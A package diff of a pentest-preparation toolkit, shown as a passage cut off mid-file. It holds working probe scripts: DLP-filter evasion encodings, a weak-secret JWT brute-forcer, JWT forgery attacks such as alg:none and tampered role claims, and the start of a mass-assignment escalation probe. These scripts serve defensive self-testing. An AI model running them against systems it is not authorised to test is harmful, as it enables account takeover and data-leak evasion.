websec-validator 0.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- websec_validator/__init__.py +14 -0
- websec_validator/briefing.py +218 -0
- websec_validator/calibration.json +75 -0
- websec_validator/calibration.py +226 -0
- websec_validator/cli.py +395 -0
- websec_validator/constitution.py +81 -0
- websec_validator/corpus.json +49 -0
- websec_validator/dynamic.py +249 -0
- websec_validator/extractors/__init__.py +56 -0
- websec_validator/extractors/auth.py +77 -0
- websec_validator/extractors/authz.py +130 -0
- websec_validator/extractors/base.py +101 -0
- websec_validator/extractors/client_exposure.py +48 -0
- websec_validator/extractors/graphql.py +71 -0
- websec_validator/extractors/iac_ci.py +65 -0
- websec_validator/extractors/integrations.py +55 -0
- websec_validator/extractors/routes.py +215 -0
- websec_validator/extractors/schemas.py +75 -0
- websec_validator/extractors/stack.py +80 -0
- websec_validator/extractors/surface.py +86 -0
- websec_validator/extractors/tenant.py +33 -0
- websec_validator/findings.py +199 -0
- websec_validator/probes.py +79 -0
- websec_validator/proof.py +96 -0
- websec_validator/recon.py +28 -0
- websec_validator/report.py +114 -0
- websec_validator/scanners.py +248 -0
- websec_validator/templates/probes/bola-cross-tenant.sh +192 -0
- websec_validator/templates/probes/bola-write-verbs.py +147 -0
- websec_validator/templates/probes/compare-roles.sh +69 -0
- websec_validator/templates/probes/dlp-bypass-offline.py +149 -0
- websec_validator/templates/probes/hs256-brute-force.py +90 -0
- websec_validator/templates/probes/jwt-attacks.sh +161 -0
- websec_validator/templates/probes/mass-assignment.py +201 -0
- websec_validator/templates/probes/race-conditions.py +144 -0
- websec_validator/templates/probes/rate-limit-burst.sh +136 -0
- websec_validator/templates/probes/s3-assess.sh +120 -0
- websec_validator/templates/probes/ssrf-probes.sh +189 -0
- websec_validator/templates/probes/webhook-forgery.py +113 -0
- websec_validator/templates/reports/FINDINGS-SUMMARY.md.template +75 -0
- websec_validator/templates/reports/access-control-matrix.md.template +65 -0
- websec_validator/templates/reports/findings-triage.md.template +28 -0
- websec_validator/templates/reports/pentest-handover-brief.md.template +121 -0
- websec_validator/templates/reports/per-tool-FINDINGS.md.template +37 -0
- websec_validator-0.2.0.dist-info/METADATA +232 -0
- websec_validator-0.2.0.dist-info/RECORD +50 -0
- websec_validator-0.2.0.dist-info/WHEEL +5 -0
- websec_validator-0.2.0.dist-info/entry_points.txt +2 -0
- websec_validator-0.2.0.dist-info/licenses/LICENSE +21 -0
- websec_validator-0.2.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,149 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
DLP bypass corpus — OFFLINE regex analysis.
|
|
4
|
+
|
|
5
|
+
Pulls the live DLP rules from the API, then tests each rule's regex
|
|
6
|
+
against an encoding corpus (the same payload encoded different ways).
|
|
7
|
+
If the regex DOES NOT match an encoded variant, that variant is a bypass.
|
|
8
|
+
|
|
9
|
+
No messages are sent. No network calls beyond fetching the rule list.
|
|
10
|
+
|
|
11
|
+
Output: per-rule per-encoding match/bypass table.
|
|
12
|
+
|
|
13
|
+
PRECONDITION: your project has a DLP / content-filtering feature with rules
|
|
14
|
+
the admin can list via API. If not, this script is N/A.
|
|
15
|
+
"""
|
|
16
|
+
import base64, json, re, subprocess, sys, urllib.parse
|
|
17
|
+
from pathlib import Path
|
|
18
|
+
|
|
19
|
+
ROOT = Path(__file__).resolve().parents[2].parent
|
|
20
|
+
ENV = {}
|
|
21
|
+
for line in (ROOT / 'security/zap/.env').read_text().splitlines():
|
|
22
|
+
if '=' in line and not line.lstrip().startswith('#'):
|
|
23
|
+
k, v = line.split('=', 1); ENV[k.strip()] = v.strip()
|
|
24
|
+
|
|
25
|
+
TARGET = ENV['ZAP_TARGET']
|
|
26
|
+
# TODO: adjust login response shape if needed.
|
|
27
|
+
ADMIN_TOK_RESP = subprocess.run(['curl','-fsS','-X','POST',f"{TARGET}/api/auth/login",
|
|
28
|
+
'-H','Content-Type: application/json',
|
|
29
|
+
'-d',json.dumps({'email':ENV['ZAP_ADMIN_USER'],'password':ENV['ZAP_ADMIN_PASS']})],
|
|
30
|
+
capture_output=True, text=True).stdout
|
|
31
|
+
ADMIN_TOK = json.loads(ADMIN_TOK_RESP)['tokens']['accessToken']
|
|
32
|
+
|
|
33
|
+
# PROJECT-SPECIFIC START
|
|
34
|
+
# TODO: adjust the DLP-rules endpoint and the rule schema. Common shapes:
|
|
35
|
+
# GET /api/dlp/rules -> [{id, name, pattern, action, scope}]
|
|
36
|
+
# GET /api/policies -> [{id, regex, action}]
|
|
37
|
+
RULES_ENDPOINT = "/api/dlp/rules"
|
|
38
|
+
# PROJECT-SPECIFIC END
|
|
39
|
+
|
|
40
|
+
rules_raw = subprocess.run(['curl','-fsS',f"{TARGET}{RULES_ENDPOINT}",
|
|
41
|
+
'-H',f"Authorization: Bearer {ADMIN_TOK}"],
|
|
42
|
+
capture_output=True, text=True).stdout
|
|
43
|
+
all_rules = json.loads(rules_raw)
|
|
44
|
+
|
|
45
|
+
# Filter to content (regex) rules, skipping any media/file-type-prefix rules
|
|
46
|
+
content_rules = [r for r in all_rules if not r.get('pattern','').startswith('MEDIA_TYPE:')]
|
|
47
|
+
print(f"=== {len(content_rules)} content-pattern DLP rules loaded ===")
|
|
48
|
+
for r in content_rules:
|
|
49
|
+
print(f" - {r.get('id','?'):50s} action={r.get('action','?')} scope={r.get('scope','?')}")
|
|
50
|
+
|
|
51
|
+
# Sensitive payloads — fake but format-correct
|
|
52
|
+
PAYLOADS = {
|
|
53
|
+
'amex_card': '3782 822463 10005', # American Express test number
|
|
54
|
+
'visa_card': '4111-1111-1111-1111', # Visa test number
|
|
55
|
+
'ssn': '123-45-6789',
|
|
56
|
+
'email': 'victim@example.com',
|
|
57
|
+
'phone': '+1 (212) 555-1234',
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
def encodings(text):
|
|
61
|
+
"""Generate same payload in different encodings/obfuscations"""
|
|
62
|
+
return {
|
|
63
|
+
'plain': text,
|
|
64
|
+
'base64': base64.b64encode(text.encode()).decode(),
|
|
65
|
+
'base64_padded': 'data:text/plain;base64,' + base64.b64encode(text.encode()).decode(),
|
|
66
|
+
'hex': text.encode().hex(),
|
|
67
|
+
'url_encoded': urllib.parse.quote(text),
|
|
68
|
+
'url_double_encoded': urllib.parse.quote(urllib.parse.quote(text)),
|
|
69
|
+
'zero_width_split': text[:2] + '' + text[2:], # zero-width space
|
|
70
|
+
'rtl_override': '' + text,
|
|
71
|
+
'spacing_split': ' '.join(text),
|
|
72
|
+
'rot13': text.translate(str.maketrans(
|
|
73
|
+
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
|
|
74
|
+
'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm')),
|
|
75
|
+
'html_entity_digit': re.sub(r'(\d)', lambda m: f"&#{ord(m.group(1))};", text),
|
|
76
|
+
'leet': text.replace('1','l').replace('0','O').replace('4','A'),
|
|
77
|
+
'json_unicode_escape': ''.join(f'\\u{ord(c):04x}' if c.isdigit() else c for c in text),
|
|
78
|
+
'mixed_case_keyword': text.upper(),
|
|
79
|
+
'comment_inline': text.replace(' ', '/*x*/'),
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
print()
|
|
83
|
+
print("=== Bypass matrix: rule x payload x encoding -> matches? ===")
|
|
84
|
+
print()
|
|
85
|
+
|
|
86
|
+
findings = []
|
|
87
|
+
|
|
88
|
+
for rule in content_rules:
|
|
89
|
+
pat = rule.get('pattern', '')
|
|
90
|
+
name = rule.get('name', '?')
|
|
91
|
+
rid = rule.get('id', '?')
|
|
92
|
+
print(f"\n--- {name} ({rid}) ---")
|
|
93
|
+
print(f" pattern: {pat[:80]}{'...' if len(pat) > 80 else ''}")
|
|
94
|
+
try:
|
|
95
|
+
regex = re.compile(pat, re.IGNORECASE)
|
|
96
|
+
except re.error as e:
|
|
97
|
+
print(f" !! rule pattern invalid: {e}")
|
|
98
|
+
continue
|
|
99
|
+
|
|
100
|
+
relevant_payloads = []
|
|
101
|
+
if 'amex' in rid: relevant_payloads.append('amex_card')
|
|
102
|
+
if 'visa' in rid or 'mc' in rid: relevant_payloads.append('visa_card')
|
|
103
|
+
if 'ssn' in rid.lower() or 'social' in name.lower(): relevant_payloads.append('ssn')
|
|
104
|
+
if 'email' in rid.lower(): relevant_payloads.append('email')
|
|
105
|
+
if 'phone' in rid.lower(): relevant_payloads.append('phone')
|
|
106
|
+
|
|
107
|
+
if not relevant_payloads:
|
|
108
|
+
print(f" (no matching test payload -- skip)")
|
|
109
|
+
continue
|
|
110
|
+
|
|
111
|
+
for pname in relevant_payloads:
|
|
112
|
+
payload = PAYLOADS[pname]
|
|
113
|
+
print(f" test payload: {pname} ({payload!r})")
|
|
114
|
+
for ename, encoded in encodings(payload).items():
|
|
115
|
+
matched = bool(regex.search(encoded))
|
|
116
|
+
mark = 'OK BLOCK' if matched else '!! BYPASS'
|
|
117
|
+
if ename == 'plain' and not matched:
|
|
118
|
+
mark = 'XX MISCONFIGURED (regex does not match plain text)'
|
|
119
|
+
line = f" [{mark:35s}] {ename:25s} -> {encoded[:60]}"
|
|
120
|
+
print(line)
|
|
121
|
+
findings.append({
|
|
122
|
+
'rule_id': rid,
|
|
123
|
+
'rule_name': name,
|
|
124
|
+
'payload': pname,
|
|
125
|
+
'encoding': ename,
|
|
126
|
+
'matched': matched,
|
|
127
|
+
'sample': encoded[:80],
|
|
128
|
+
})
|
|
129
|
+
|
|
130
|
+
out = ROOT / 'security/pentest-prep/reports/dlp-bypass/findings.json'
|
|
131
|
+
out.parent.mkdir(parents=True, exist_ok=True)
|
|
132
|
+
out.write_text(json.dumps(findings, indent=2))
|
|
133
|
+
|
|
134
|
+
bypasses = [f for f in findings if not f['matched'] and f['encoding'] != 'plain']
|
|
135
|
+
plain_misses = [f for f in findings if not f['matched'] and f['encoding'] == 'plain']
|
|
136
|
+
print()
|
|
137
|
+
print(f"=== Summary ===")
|
|
138
|
+
print(f" Total tests: {len(findings)}")
|
|
139
|
+
print(f" Bypasses found: {len(bypasses)}")
|
|
140
|
+
print(f" Misconfigured rules:{len(plain_misses)} (regex doesnt match its own intended payload)")
|
|
141
|
+
print(f" Saved: {out}")
|
|
142
|
+
|
|
143
|
+
if bypasses:
|
|
144
|
+
print()
|
|
145
|
+
print(f"=== Bypass details ===")
|
|
146
|
+
for b in bypasses[:20]:
|
|
147
|
+
print(f" [{b['rule_id']:50s}] {b['encoding']:25s} {b['payload']} -> bypass")
|
|
148
|
+
|
|
149
|
+
sys.exit(0)
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
HS256 JWT secret brute-force probe.
|
|
4
|
+
|
|
5
|
+
Tries a wordlist of common weak secrets against a captured JWT. If any
|
|
6
|
+
candidate verifies the signature, we have the secret -> can forge any
|
|
7
|
+
token -> critical finding.
|
|
8
|
+
|
|
9
|
+
This is OFFLINE — no server requests. Run safely against any token.
|
|
10
|
+
|
|
11
|
+
Usage: python3 hs256-brute-force.py <jwt_token>
|
|
12
|
+
"""
|
|
13
|
+
import sys, hmac, hashlib, base64
|
|
14
|
+
|
|
15
|
+
if len(sys.argv) != 2:
|
|
16
|
+
print("Usage: hs256-brute-force.py <jwt_token>", file=sys.stderr)
|
|
17
|
+
sys.exit(2)
|
|
18
|
+
|
|
19
|
+
token = sys.argv[1].strip()
|
|
20
|
+
try:
|
|
21
|
+
h_b64, p_b64, s_b64 = token.split('.')
|
|
22
|
+
except ValueError:
|
|
23
|
+
print("Token isn't a 3-part JWT", file=sys.stderr)
|
|
24
|
+
sys.exit(2)
|
|
25
|
+
|
|
26
|
+
def b64url_pad(s):
|
|
27
|
+
return s + '=' * (-len(s) % 4)
|
|
28
|
+
|
|
29
|
+
signed = (h_b64 + '.' + p_b64).encode()
|
|
30
|
+
expected_sig = base64.urlsafe_b64decode(b64url_pad(s_b64))
|
|
31
|
+
|
|
32
|
+
# Wordlist: common weak JWT secrets seen in the wild.
|
|
33
|
+
# Real bug bounties: "secret", "your-256-bit-secret" (the JWT.io default!),
|
|
34
|
+
# "jwt-secret", common framework defaults, project-name guesses.
|
|
35
|
+
# TODO: Add project-name candidates: variations of <PROJECT_NAME>, the company
|
|
36
|
+
# name, internal team names, any nickname you've seen in docs. Attackers will.
|
|
37
|
+
CANDIDATES = [
|
|
38
|
+
# JWT.io default (used by tutorials, sometimes makes it to production)
|
|
39
|
+
"your-256-bit-secret",
|
|
40
|
+
# NextAuth + Auth.js defaults
|
|
41
|
+
"your-secret-key", "your-secret",
|
|
42
|
+
# Express + jsonwebtoken tutorials
|
|
43
|
+
"secret", "jwt-secret", "jwtsecret", "JWT_SECRET",
|
|
44
|
+
"supersecret", "supersecretkey",
|
|
45
|
+
# Common dev placeholders
|
|
46
|
+
"changeme", "changeit", "changethis", "CHANGEME",
|
|
47
|
+
"password", "Password1!", "admin", "admin123",
|
|
48
|
+
"test", "test123", "testing",
|
|
49
|
+
"dev", "development", "local",
|
|
50
|
+
"default", "default-secret",
|
|
51
|
+
# PROJECT-SPECIFIC START
|
|
52
|
+
# TODO: project-name and company-name guesses go here.
|
|
53
|
+
# "<project-name>", "<project-slug>", "<company-name>",
|
|
54
|
+
# PROJECT-SPECIFIC END
|
|
55
|
+
# Common framework env defaults
|
|
56
|
+
"your-secret-jwt-key", "secretkey",
|
|
57
|
+
# Length-32 placeholders
|
|
58
|
+
"0123456789abcdef0123456789abcdef",
|
|
59
|
+
"abcdefghijklmnopqrstuvwxyz123456",
|
|
60
|
+
# Empty/null secrets (sometimes accepted)
|
|
61
|
+
"",
|
|
62
|
+
"null", "undefined",
|
|
63
|
+
# Common from leaked-secret datasets
|
|
64
|
+
"123456", "12345678", "qwerty",
|
|
65
|
+
]
|
|
66
|
+
|
|
67
|
+
print(f"=== HS256 brute force test ===")
|
|
68
|
+
print(f" Token header.payload length: {len(h_b64) + 1 + len(p_b64)} bytes")
|
|
69
|
+
print(f" Trying {len(CANDIDATES)} candidate secrets (offline, no requests)...")
|
|
70
|
+
print()
|
|
71
|
+
|
|
72
|
+
found = None
|
|
73
|
+
for cand in CANDIDATES:
|
|
74
|
+
computed = hmac.new(cand.encode(), signed, hashlib.sha256).digest()
|
|
75
|
+
if hmac.compare_digest(computed, expected_sig):
|
|
76
|
+
found = cand
|
|
77
|
+
break
|
|
78
|
+
|
|
79
|
+
if found is not None:
|
|
80
|
+
print(f" !! CRITICAL: signing secret cracked!")
|
|
81
|
+
print(f" Secret value: {'<EMPTY STRING>' if not found else repr(found)}")
|
|
82
|
+
print(f" Implication: any attacker can forge JWTs for any user/role.")
|
|
83
|
+
print(f" Action: ROTATE the JWT signing secret IMMEDIATELY.")
|
|
84
|
+
sys.exit(1)
|
|
85
|
+
else:
|
|
86
|
+
print(f" OK -- none of {len(CANDIDATES)} weak-secret candidates work.")
|
|
87
|
+
print(f" This does NOT prove the secret is strong -- only that it's not in")
|
|
88
|
+
print(f" this short wordlist. For a real engagement, use hashcat mode 16500")
|
|
89
|
+
print(f" against rockyou.txt or larger lists.")
|
|
90
|
+
sys.exit(0)
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
#
|
|
3
|
+
# jwt-attacks.sh — manual JWT attack probe.
|
|
4
|
+
#
|
|
5
|
+
# Six classic JWT attacks pentest teams run:
|
|
6
|
+
#
|
|
7
|
+
# 1. alg:none — sign with no algorithm. If the backend accepts it, total auth bypass.
|
|
8
|
+
# 2. HS256 with garbage secret — tamper claims and resign with a wrong key.
|
|
9
|
+
# 3. Expired token — exp in the past, expect 401.
|
|
10
|
+
# 4. Stripped signature — empty sig segment.
|
|
11
|
+
# 5. Garbage token — non-JWT string.
|
|
12
|
+
# 6. Refresh-after-logout — logout, then try the still-cached refresh token.
|
|
13
|
+
#
|
|
14
|
+
# Usage:
|
|
15
|
+
# 1. In .env, set ZAP_AGENT_USER / ZAP_AGENT_PASS.
|
|
16
|
+
# 2. ./jwt-attacks.sh
|
|
17
|
+
# 3. Output: one PASS/FAIL per attack; nonzero exit on FAIL.
|
|
18
|
+
#
|
|
19
|
+
# Requires: bash, curl, jq, python3.
|
|
20
|
+
set -euo pipefail
|
|
21
|
+
cd "$(dirname "$0")"
|
|
22
|
+
|
|
23
|
+
[[ -f .env ]] || { echo "No .env found" >&2; exit 1; }
|
|
24
|
+
|
|
25
|
+
read_env() {
|
|
26
|
+
local key="$1"
|
|
27
|
+
python3 -c "
|
|
28
|
+
for l in open('.env'):
|
|
29
|
+
l = l.rstrip('\n')
|
|
30
|
+
if l.startswith('#') or '=' not in l: continue
|
|
31
|
+
k, v = l.split('=', 1)
|
|
32
|
+
if k.strip() == '$key':
|
|
33
|
+
print(v); break
|
|
34
|
+
"
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
TARGET="$(read_env ZAP_TARGET)"
|
|
38
|
+
USER="$(read_env ZAP_AGENT_USER)"
|
|
39
|
+
PASS="$(read_env ZAP_AGENT_PASS)"
|
|
40
|
+
|
|
41
|
+
[[ -n "$TARGET" && -n "$USER" && -n "$PASS" ]] || {
|
|
42
|
+
echo "ERROR: ZAP_TARGET / ZAP_AGENT_USER / ZAP_AGENT_PASS required in .env" >&2; exit 2
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
# TODO: adjust login / refresh / me / logout paths to your API.
|
|
46
|
+
echo "==> mint legit token..."
|
|
47
|
+
LOGIN_RESP=$(curl -fsS -X POST "$TARGET/api/auth/login" \
|
|
48
|
+
-H 'Content-Type: application/json' \
|
|
49
|
+
-d "$(jq -nc --arg e "$USER" --arg p "$PASS" '{email:$e,password:$p}')")
|
|
50
|
+
|
|
51
|
+
ACCESS_TOKEN=$(echo "$LOGIN_RESP" | jq -r '.tokens.accessToken')
|
|
52
|
+
REFRESH_TOKEN=$(echo "$LOGIN_RESP" | jq -r '.tokens.refreshToken')
|
|
53
|
+
|
|
54
|
+
[[ -n "$ACCESS_TOKEN" && "$ACCESS_TOKEN" != "null" ]] || { echo "login failed" >&2; exit 3; }
|
|
55
|
+
|
|
56
|
+
b64url() {
|
|
57
|
+
python3 -c "import sys, base64; sys.stdout.write(base64.urlsafe_b64encode(sys.stdin.buffer.read()).decode().rstrip('='))"
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
IFS='.' read -r H P S <<< "$ACCESS_TOKEN"
|
|
61
|
+
|
|
62
|
+
# A protected endpoint that requires a real session. Adjust to your API.
|
|
63
|
+
TEST_URL="$TARGET/api/auth/me"
|
|
64
|
+
|
|
65
|
+
PASS_COUNT=0
|
|
66
|
+
FAIL_COUNT=0
|
|
67
|
+
FAIL_LINES=()
|
|
68
|
+
|
|
69
|
+
check() {
|
|
70
|
+
local label="$1" expected_code="$2" actual="$3"
|
|
71
|
+
if [[ "$actual" == "$expected_code" ]]; then
|
|
72
|
+
printf ' %-4s %-30s expected:%s actual:%s\n' PASS "$label" "$expected_code" "$actual"
|
|
73
|
+
PASS_COUNT=$((PASS_COUNT+1))
|
|
74
|
+
else
|
|
75
|
+
printf ' %-4s %-30s expected:%s actual:%s\n' FAIL "$label" "$expected_code" "$actual"
|
|
76
|
+
FAIL_COUNT=$((FAIL_COUNT+1))
|
|
77
|
+
FAIL_LINES+=("$label expected $expected_code got $actual")
|
|
78
|
+
fi
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
# === Sanity: legit token works ===
|
|
82
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $ACCESS_TOKEN")
|
|
83
|
+
check "sanity (legit token)" "200" "$code"
|
|
84
|
+
|
|
85
|
+
# === Attack 1: alg:none ===
|
|
86
|
+
DECODED_P=$(echo "$P" | python3 -c "import sys, base64; d=sys.stdin.read(); print(base64.urlsafe_b64decode(d + '=='*(4-len(d)%4)).decode())")
|
|
87
|
+
NEW_H=$(echo -n '{"alg":"none","typ":"JWT"}' | b64url)
|
|
88
|
+
NONE_TOKEN="${NEW_H}.${P}."
|
|
89
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $NONE_TOKEN")
|
|
90
|
+
check "alg:none bypass" "401" "$code"
|
|
91
|
+
|
|
92
|
+
# === Attack 2: HS256 with garbage secret + tampered claims ===
|
|
93
|
+
# TODO: adjust claim names to your token's shape (role, roles, scope, permissions, etc.)
|
|
94
|
+
TAMPERED_P=$(echo "$DECODED_P" | jq -c '.roleIds = ["role-platform-manager","role-developer"] | .iat = (now|floor) | .exp = ((now|floor) + 3600)')
|
|
95
|
+
TAMPERED_P_B64=$(echo -n "$TAMPERED_P" | b64url)
|
|
96
|
+
HEADER_HS256=$(echo -n '{"alg":"HS256","typ":"JWT"}' | b64url)
|
|
97
|
+
WRONG_SIG=$(printf '%s.%s' "$HEADER_HS256" "$TAMPERED_P_B64" \
|
|
98
|
+
| python3 -c "import sys, hmac, hashlib, base64; data=sys.stdin.buffer.read(); sig=hmac.new(b'wrong-secret-do-not-trust', data, hashlib.sha256).digest(); sys.stdout.write(base64.urlsafe_b64encode(sig).decode().rstrip('='))")
|
|
99
|
+
TAMPERED_TOKEN="${HEADER_HS256}.${TAMPERED_P_B64}.${WRONG_SIG}"
|
|
100
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $TAMPERED_TOKEN")
|
|
101
|
+
check "claims tampered, wrong sig" "401" "$code"
|
|
102
|
+
|
|
103
|
+
# === Attack 3: expired token ===
|
|
104
|
+
EXPIRED_P=$(echo "$DECODED_P" | jq -c '.exp = ((now|floor) - 60) | .iat = ((now|floor) - 3600)')
|
|
105
|
+
EXPIRED_P_B64=$(echo -n "$EXPIRED_P" | b64url)
|
|
106
|
+
EXP_SIG=$(printf '%s.%s' "$H" "$EXPIRED_P_B64" \
|
|
107
|
+
| python3 -c "import sys, hmac, hashlib, base64; data=sys.stdin.buffer.read(); sig=hmac.new(b'will-not-match', data, hashlib.sha256).digest(); sys.stdout.write(base64.urlsafe_b64encode(sig).decode().rstrip('='))")
|
|
108
|
+
EXP_TOKEN="${H}.${EXPIRED_P_B64}.${EXP_SIG}"
|
|
109
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $EXP_TOKEN")
|
|
110
|
+
check "expired exp + bad sig" "401" "$code"
|
|
111
|
+
|
|
112
|
+
# === Attack 4: stripped signature ===
|
|
113
|
+
NO_SIG="${H}.${P}."
|
|
114
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $NO_SIG")
|
|
115
|
+
check "stripped signature" "401" "$code"
|
|
116
|
+
|
|
117
|
+
# === Attack 5: garbage token ===
|
|
118
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer not-a-jwt")
|
|
119
|
+
check "garbage token" "401" "$code"
|
|
120
|
+
|
|
121
|
+
# === Attack 6: refresh-token replay after logout ===
|
|
122
|
+
echo "==> logging out then attempting refresh replay..."
|
|
123
|
+
curl -fsS -X POST "$TARGET/api/auth/logout" \
|
|
124
|
+
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
|
125
|
+
-H 'Content-Type: application/json' \
|
|
126
|
+
-d "$(jq -nc --arg r "$REFRESH_TOKEN" '{refreshToken:$r}')" \
|
|
127
|
+
>/dev/null 2>&1 || echo " (logout endpoint may not invalidate refresh tokens — continuing)"
|
|
128
|
+
|
|
129
|
+
if [[ -n "$REFRESH_TOKEN" && "$REFRESH_TOKEN" != "null" ]]; then
|
|
130
|
+
code=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET/api/auth/refresh" \
|
|
131
|
+
-H 'Content-Type: application/json' \
|
|
132
|
+
-d "$(jq -nc --arg r "$REFRESH_TOKEN" '{refreshToken:$r}')")
|
|
133
|
+
# Acceptable outcomes:
|
|
134
|
+
# 401 — token was invalidated on logout (best)
|
|
135
|
+
# 200 — refresh tokens are stateless and replay is possible (acceptable per
|
|
136
|
+
# the project's auth model; document the tradeoff)
|
|
137
|
+
if [[ "$code" == "401" ]]; then
|
|
138
|
+
printf ' %-4s %-30s expected:401 actual:%s (refresh token invalidated on logout)\n' PASS "refresh-after-logout" "$code"
|
|
139
|
+
PASS_COUNT=$((PASS_COUNT+1))
|
|
140
|
+
elif [[ "$code" == "200" ]]; then
|
|
141
|
+
printf ' %-4s %-30s expected:401 actual:%s (refresh tokens are stateless; document tradeoff)\n' WARN "refresh-after-logout" "$code"
|
|
142
|
+
else
|
|
143
|
+
printf ' %-4s %-30s expected:401 actual:%s\n' FAIL "refresh-after-logout" "$code"
|
|
144
|
+
FAIL_COUNT=$((FAIL_COUNT+1))
|
|
145
|
+
FAIL_LINES+=("refresh-after-logout got $code")
|
|
146
|
+
fi
|
|
147
|
+
else
|
|
148
|
+
echo " (refresh token not present in login response — skip)"
|
|
149
|
+
fi
|
|
150
|
+
|
|
151
|
+
echo
|
|
152
|
+
echo "=== Summary ==="
|
|
153
|
+
echo " PASS: $PASS_COUNT"
|
|
154
|
+
echo " FAIL: $FAIL_COUNT"
|
|
155
|
+
if [[ $FAIL_COUNT -gt 0 ]]; then
|
|
156
|
+
echo
|
|
157
|
+
echo "FAILED:"
|
|
158
|
+
printf ' - %s\n' "${FAIL_LINES[@]}"
|
|
159
|
+
exit 1
|
|
160
|
+
fi
|
|
161
|
+
echo "All JWT attacks blocked — auth layer holds."
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Mass assignment / BOPLA (Broken Object Property Level Authorization) probe.
|
|
4
|
+
|
|
5
|
+
Tests the OWASP API #3 attack class: handler accepts user-supplied fields
|
|
6
|
+
that should be controlled by the server. Specifically targets:
|
|
7
|
+
|
|
8
|
+
1. PATCH /api/users/{userId} (self-edit) — try to escalate own role/groups
|
|
9
|
+
2. POST /api/admin/users (create) — try to create privileged user
|
|
10
|
+
3. PUT /api/admin/users/{id} (update) — try to escalate someone via admin path
|
|
11
|
+
4. PATCH /api/auth/me variants — try to add ownership / billing fields
|
|
12
|
+
|
|
13
|
+
Findings classification:
|
|
14
|
+
CRITICAL: extra field was applied (role/group escalation succeeded)
|
|
15
|
+
HIGH: extra field was accepted (200) and persisted but didn't fully escalate
|
|
16
|
+
PASS: extra field was stripped (200 but field ignored) OR rejected (4xx)
|
|
17
|
+
|
|
18
|
+
Usage:
|
|
19
|
+
python3 mass-assignment.py
|
|
20
|
+
(reads tokens from ../../zap/.env)
|
|
21
|
+
"""
|
|
22
|
+
import json, os, subprocess, sys
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
ROOT = Path(__file__).resolve().parents[2].parent # repo root
|
|
26
|
+
sys.path.insert(0, str(ROOT))
|
|
27
|
+
|
|
28
|
+
# Read .env (relative to the zap/ folder where the .env lives)
|
|
29
|
+
ENV = {}
|
|
30
|
+
for line in (ROOT / 'security/zap/.env').read_text().splitlines():
|
|
31
|
+
if '=' in line and not line.lstrip().startswith('#'):
|
|
32
|
+
k, v = line.split('=', 1)
|
|
33
|
+
ENV[k.strip()] = v.strip()
|
|
34
|
+
|
|
35
|
+
TARGET = ENV['ZAP_TARGET']
|
|
36
|
+
|
|
37
|
+
# TODO: adjust login URL and response parsing to your API.
|
|
38
|
+
def login(user, pwd):
|
|
39
|
+
r = subprocess.run(['curl', '-fsS', '-X', 'POST', f'{TARGET}/api/auth/login',
|
|
40
|
+
'-H', 'Content-Type: application/json',
|
|
41
|
+
'-d', json.dumps({'email': user, 'password': pwd})],
|
|
42
|
+
capture_output=True, text=True)
|
|
43
|
+
if r.returncode != 0:
|
|
44
|
+
raise RuntimeError(f"login failed for {user}: {r.stderr}")
|
|
45
|
+
return json.loads(r.stdout)['tokens']['accessToken']
|
|
46
|
+
|
|
47
|
+
def get_me(tok):
|
|
48
|
+
r = subprocess.run(['curl', '-fsS', f'{TARGET}/api/auth/me',
|
|
49
|
+
'-H', f'Authorization: Bearer {tok}'],
|
|
50
|
+
capture_output=True, text=True)
|
|
51
|
+
return json.loads(r.stdout).get('user', {})
|
|
52
|
+
|
|
53
|
+
print(f"=== minting tokens ===")
|
|
54
|
+
ADMIN_TOK = login(ENV['ZAP_ADMIN_USER'], ENV['ZAP_ADMIN_PASS'])
|
|
55
|
+
AGENT_TOK = login(ENV['ZAP_AGENT_USER'], ENV['ZAP_AGENT_PASS'])
|
|
56
|
+
AGENT_ME = get_me(AGENT_TOK)
|
|
57
|
+
print(f" agent: {AGENT_ME.get('email')} (id={AGENT_ME.get('id')})")
|
|
58
|
+
# TODO: adjust field names to your role/tenancy shape.
|
|
59
|
+
print(f" agent role: {AGENT_ME.get('role')} roleIds={AGENT_ME.get('roleIds')} groupIds={AGENT_ME.get('groupIds')}")
|
|
60
|
+
|
|
61
|
+
# === The dangerous extras we try to inject ===
|
|
62
|
+
# PROJECT-SPECIFIC START
|
|
63
|
+
# TODO: tailor these to your project's user-model fields. Common escalations:
|
|
64
|
+
# - role / roles / roleIds / scope / permissions
|
|
65
|
+
# - tenant / org / workspace / groupIds — "add to all tenants"
|
|
66
|
+
# - isAdmin / isOwner / isSuperuser / accessLevel
|
|
67
|
+
# - createdBy / ownedBy / billingAccount — audit-log spoofing
|
|
68
|
+
# - id / passwordHash — direct identity overwrite
|
|
69
|
+
DANGER_FIELDS = {
|
|
70
|
+
